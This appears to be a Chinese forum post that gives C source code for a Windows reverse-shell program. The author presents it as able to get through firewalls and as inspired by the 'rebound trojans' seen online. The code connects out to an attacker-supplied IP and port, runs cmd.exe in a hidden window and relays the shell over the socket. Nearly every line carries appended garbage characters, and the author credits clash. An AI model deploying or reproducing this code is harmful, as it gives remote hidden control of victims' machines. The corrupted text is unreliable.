Windows下端口反弹

这是一个Windows下的小程序，可以穿透防火墙反弹连接，当然这是最简单的！看到网络上反弹木马到处都是，心一热就有了这个了（代码很垃圾的）。 9vP#/-g  
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/* ============================== zZW5M^z8  
Rebound port in Windows NT Nwo*tb:  
By wind,2006/7 \UP=pT@  
===============================*/ 2fgYcQ8`  
#include Zb7%$1)L~  
#include p}Um+I=1  
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#pragma comment(lib,"wsock32.lib") 29^(weT"]  
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void OutputShell(); ?kK3%uJy&  
SOCKET sClient; {9FL}Jrt  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; R7 rO7M!  
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void main(int argc,char **argv) 5@J]#bp0M  
{ ~3Za"q*0s  
WSADATA stWsaData; HB,?}S#TP  
int nRet; h$XoR0  
SOCKADDR_IN stSaiClient,stSaiServer; `-.6;T}2U  
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if(argc != 3) 82 dmlPwJC  
{ :NL[NbQYt  
printf("Useage:\n\rRebound DestIP DestPort\n"); J|F!$m{  
return; ?[|A sw1t  
} "(iDUl  
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WSAStartup(MAKEWORD(2,2),&stWsaData); $:yIe.F  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); oE_*hp+  
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stSaiClient.sin_family = AF_INET; Nt;1&dwUb  
stSaiClient.sin_port = htons(0); (f2r4Io|}  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); _F(Np\%_  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) $o.;}  
{ T[I7.8g  
printf("Bind Socket Failed!\n"); 86eaX+F  
return; 5|7<ZL3  
} k(M"
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stSaiServer.sin_family = AF_INET; +4p=a [  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); * H~=
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stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); [%P[ x]-  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) B6j/"x6N15  
{ ]4r&Q4d>O  
printf("Connect Error!"); c_>AbF{  
return; ]a`"O  
} E`.:V<KW/  
OutputShell(); K"[\)&WBG  
} P @J)S ?  
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void OutputShell() ;Ea8>  
{ dq
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char szBuff[1024]; })`z6d]3  
SECURITY_ATTRIBUTES stSecurityAttributes; r/@Wn  
OSVERSIONINFO stOsversionInfo; i8KoJY"  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; Xy./1`X  
STARTUPINFO stStartupInfo; i&p6UU
 
char *szShell; !xBJJ/K+|  
PROCESS_INFORMATION stProcessInformation; ,@fx[5{  
unsigned long lBytesRead; $ce*W9`  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 0176  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); @LFB}B  
stSecurityAttributes.lpSecurityDescriptor = 0; t&p I  
stSecurityAttributes.bInheritHandle = TRUE; R)4,f~@"  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); *VHWvj  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); A^$xE6t  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 8_ascvs5  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; j/q&qrlL  
stStartupInfo.wShowWindow = SW_HIDE; _;%l~q/  
stStartupInfo.hStdInput = hReadPipe; x}O,xquY  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; R+t]]n6#  
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GetVersionEx(&stOsversionInfo); 8GRB6-.h  
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switch(stOsversionInfo.dwPlatformId) Tm9sQ7Oj(  
{ ?`xm_udc  
case 1: =HB(N|9_d  
szShell = "command.com"; EiaP1o  
break; i`Qa7  
default: IlwHHt;njp  
szShell = "cmd.exe"; <o[3*59  
break; W'=}2Y$]u  
} jt(GXgm  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); ~g%Ht#<  
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send(sClient,szMsg,77,0); 2#00<t\  
while(1) 4"3.7.<Q`  
{ }D?qj3?bj  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); SSbx[<E3  
if(lBytesRead) S>p0{:zM  
{ v,8Q9<=O  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); AC 2kG  
send(sClient,szBuff,lBytesRead,0); I}f7|hYX  
} 9ZG:2ncdJ  
else lFduX D  
{ @ULWVS#t2  
lBytesRead=recv(sClient,szBuff,1024,0); /2hRLyeAZ  
if(lBytesRead<=0) break; Q&+)Kp]A  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); FC~%G&K/q^  
} FV3[
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} fYzP4  
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return; 00s)=A_  
}